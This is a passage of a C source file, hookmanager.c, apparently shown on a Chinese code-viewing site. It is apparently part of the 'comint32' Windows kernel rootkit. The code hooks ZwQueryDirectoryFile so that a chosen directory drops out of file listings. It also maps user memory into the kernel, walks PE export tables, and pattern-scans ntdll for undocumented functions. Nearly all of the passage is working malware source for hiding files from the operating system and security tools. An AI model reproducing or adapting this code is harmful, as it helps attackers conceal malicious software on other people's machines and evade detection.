📄 hookmanager.c
字号:
return status;
}
NTSTATUS NewZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery
)
{
NTSTATUS status;
status = OldZwQueryDirectoryFile(
hFile,
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,
FileInformationBuffer,
FileInformationBufferLength,
FileInfoClass,
bReturnOnlyOneEntry,
PathMask,
bRestartQuery);
if( NT_SUCCESS( status ) && (FileInfoClass == 3) )
{
BOOL isLastDirectory;
DirEntry* pLastDirectory = NULL;
DirEntry* pThisDirectory = (DirEntry*)FileInformationBuffer;
// for each directory entry in the list
do
{
isLastDirectory = !( pThisDirectory->dwLenToNext );
// compare with g_hiddenDirectoryName
if( RtlCompareMemory( (PVOID)&pThisDirectory->suName[ 0 ],
(PVOID)&g_hiddenDirectoryName[ 0 ],
HIDDEN_DIR_NAME_LENGTH ) == HIDDEN_DIR_NAME_LENGTH )
{
if( isLastDirectory )
{
// return STATUS_NO_MORE_FILES if the hidden
// directory is the only directory in the list
// else set the previous directory to end-of-list
// if hidden directory is at the end of the list
if( pThisDirectory == (DirEntry*)FileInformationBuffer )
status = 0x80000006;
else
pLastDirectory->dwLenToNext = 0;
break;
}
else
{
// copy remainder of directory list into this location
// to eliminate this directory entry from the list
int offset = ((ULONG)pThisDirectory) - (ULONG)FileInformationBuffer;
int size = (DWORD)FileInformationBufferLength - offset - pThisDirectory->dwLenToNext;
RtlCopyMemory( (PVOID)pThisDirectory,
(PVOID)((char*)pThisDirectory + pThisDirectory->dwLenToNext ),
(DWORD)size );
continue;
}
}
pLastDirectory = pThisDirectory;
pThisDirectory = (DirEntry*)((char *)pThisDirectory + pThisDirectory->dwLenToNext );
} while( !isLastDirectory );
}
return( status );
}
// Used to compare a full path to a file name
BOOL IsSameFile(PUNICODE_STRING shortString, PUNICODE_STRING longString)
{
USHORT index;
USHORT longLen;
USHORT shortLen;
USHORT count;
index = longString->Length / 2; // wchar_t len is length / 2
// search backwards for backslash
while( --index )
if ( longString->Buffer[index] == L'\\' )
break;
// check for same length first
longLen = (longString->Length / 2) - index - 1;
shortLen = shortString->Length / 2;
if( shortLen != longLen )
return FALSE;
// Compare
count = 0;
while ( count < longLen )
if ( longString->Buffer[++index] != shortString->Buffer[count++] )
return FALSE;
// Match!
return TRUE;
}
// Compare to char strings
BOOL IsSameString( char* first, char* second )
{
while( *first && *second )
{
if( tolower( *first ) != tolower( *second ) )
return FALSE;
first++;
second++;
}
if( *first || *second )
return FALSE;
// strings match!
return TRUE;
}
// Map user address space into the kernel
PVOID MapKernelAddress( PVOID pAddress, PMDL* ppMDL, ULONG size )
{
PVOID pMappedAddr = NULL;
*ppMDL = IoAllocateMdl( pAddress, size, FALSE, FALSE, NULL );
if( *ppMDL == NULL )
return NULL;
__try
{
MmProbeAndLockPages( *ppMDL, KernelMode ,IoReadAccess );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
IoFreeMdl( *ppMDL );
*ppMDL = NULL;
return NULL;
}
pMappedAddr = MmGetSystemAddressForMdlSafe( *ppMDL, HighPagePriority );
if( !pMappedAddr )
{
MmUnlockPages( *ppMDL );
IoFreeMdl( *ppMDL );
*ppMDL = NULL;
return NULL;
}
return pMappedAddr;
}
// Free kernel space after mapping in user memory
VOID FreeKernelAddress( PVOID* ppMappedAddr, PMDL* ppMDL )
{
if( *ppMappedAddr && *ppMDL )
MmUnmapLockedPages( *ppMappedAddr, *ppMDL );
*ppMappedAddr = NULL;
if( *ppMDL )
{
MmUnlockPages( *ppMDL );
IoFreeMdl( *ppMDL );
}
*ppMDL = NULL;
}
// get DOS Header -> NT Header -> Optinal Header -> SizeOfImage
ULONG GetImageSize( PVOID baseAddress )
{
PIMAGE_DOS_HEADER pDOSHeader;
PIMAGE_NT_HEADER pNTHeader;
ULONG imageSize = 0;
PVOID pTempNTHeader;
PVOID mappedBase;
PMDL pMDL;
mappedBase = MapKernelAddress( baseAddress, &pMDL, sizeof(PIMAGE_DOS_HEADER) );
if( mappedBase )
{
pDOSHeader = (PIMAGE_DOS_HEADER)mappedBase;
pTempNTHeader = (PVOID)(pDOSHeader->e_lfanew);
FreeKernelAddress( &mappedBase, &pMDL );
mappedBase = MapKernelAddress( (PVOID)((ULONG)baseAddress + (ULONG)pTempNTHeader), &pMDL, sizeof(PIMAGE_NT_HEADER) );
if( mappedBase )
{
pNTHeader = (PIMAGE_NT_HEADER)mappedBase;
imageSize = pNTHeader->OptionalHeader.SizeOfImage;
FreeKernelAddress( &mappedBase, &pMDL );
}
}
return imageSize;
}
// find an undocumented ntdll function
PVOID findUnresolved( PVOID pFunc )
{
UCHAR pattern[5] = { 0 };
PUCHAR bytePtr = NULL;
PULONG oldStart = 0;
ULONG newStart = 0;
memcpy( pattern, pFunc, 5 );
// subtract offset
oldStart = (PULONG)&(pattern[1]);
newStart = *oldStart - 1;
*oldStart = newStart;
// Search for pattern
for( bytePtr = (PUCHAR)pFunc - 5; bytePtr >= (PUCHAR)pFunc - 0x800; bytePtr-- )
if( checkPattern( bytePtr, pattern, 5 ) == 0 )
return (PVOID)bytePtr;
// pattern not found
return NULL;
}
// Get the address of a function from a DLL
// Pass in the base address of the DLL
// Pass function name OR pattern and pettern length
PVOID GetFunctionAddress( PVOID BaseAddress,
char* functionName,
PBYTE pattern,
size_t patternLength )
{
ULONG imageSize;
ULONG virtualAddress;
PVOID returnAddress;
PULONG functionAddressArray;
PWORD ordinalArray;
PULONG functionNameArray;
ULONG loop;
ULONG ordinal;
PVOID mappedBase;
PMDL pMDL;
BYTE* bytePtr;
BYTE* maxBytePtr;
PIMAGE_DOS_HEADER pDOSHeader;
PIMAGE_NT_HEADER pNTHeader;
PIMAGE_EXPORT_DIRECTORY exportDirectory;
imageSize = GetImageSize( BaseAddress );
mappedBase = MapKernelAddress( BaseAddress, &pMDL, imageSize );
if ( functionName == NULL )
{
// Search for function pattern
returnAddress = 0;
maxBytePtr = (PBYTE)((DWORD)mappedBase + (DWORD)imageSize - (DWORD)patternLength);
for( bytePtr = (PBYTE)mappedBase; bytePtr < maxBytePtr; bytePtr++ )
{
if( checkPattern( bytePtr, pattern, patternLength ) == 0 )
{
returnAddress = (PVOID)((DWORD)BaseAddress + (DWORD)bytePtr - (DWORD)mappedBase);
break;
}
}
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return returnAddress;
}
// Search for function name
pDOSHeader = (PIMAGE_DOS_HEADER)mappedBase;
pNTHeader = (PIMAGE_NT_HEADER)((PCHAR)mappedBase + pDOSHeader->e_lfanew);
imageSize = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
virtualAddress = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PCHAR)mappedBase + virtualAddress);
functionAddressArray = (PULONG)((PCHAR)mappedBase + exportDirectory->AddressOfFunctions);
ordinalArray = (PWORD)((PCHAR)mappedBase + exportDirectory->AddressOfNameOrdinals);
functionNameArray = (PULONG)((PCHAR)mappedBase + exportDirectory->AddressOfNames);
ordinal = (ULONG)functionName;
if (!ordinal)
{
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return 0;
}
if( ordinal <= exportDirectory->NumberOfFunctions )
{
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return (PVOID)((PCHAR)BaseAddress + functionAddressArray[ordinal - 1]);
}
for( loop = 0; loop < exportDirectory->NumberOfNames; loop++ )
{
ordinal = ordinalArray[loop];
if( functionAddressArray[ordinal] < virtualAddress || functionAddressArray[ordinal] >= virtualAddress + imageSize )
{
if( IsSameString( (PSTR)((PCHAR)mappedBase + functionNameArray[loop]), functionName ) )
{
returnAddress = (PVOID)functionAddressArray[ordinal];
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return (PVOID)((DWORD)BaseAddress + (DWORD)returnAddress);
}
}
}
DbgPrint("comint32: EXPORT NOT FOUND, function = %s", functionName);
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return 0;
}
// This should be fast!
int checkPattern( unsigned char* pattern1, unsigned char* pattern2, size_t size )
{
register unsigned char* p1 = pattern1;
register unsigned char* p2 = pattern2;
while( size-- > 0 )
{
if( *p1++ != *p2++ )
return 1;
}
return 0;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -